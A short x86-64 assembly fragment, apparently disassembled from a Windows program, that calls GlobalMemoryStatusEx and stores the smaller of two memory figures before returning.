mov qword [rcx], rax
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
test eax, eax
je 0x40b662
mov rax, qword [rsp + 0x28]
cmp qword [rsp + 0x48], rax
cmovb rax, qword [rsp + 0x48]
mov qword [rbx], rax
mov al, 1
add rsp, 0x60
pop rbx
ret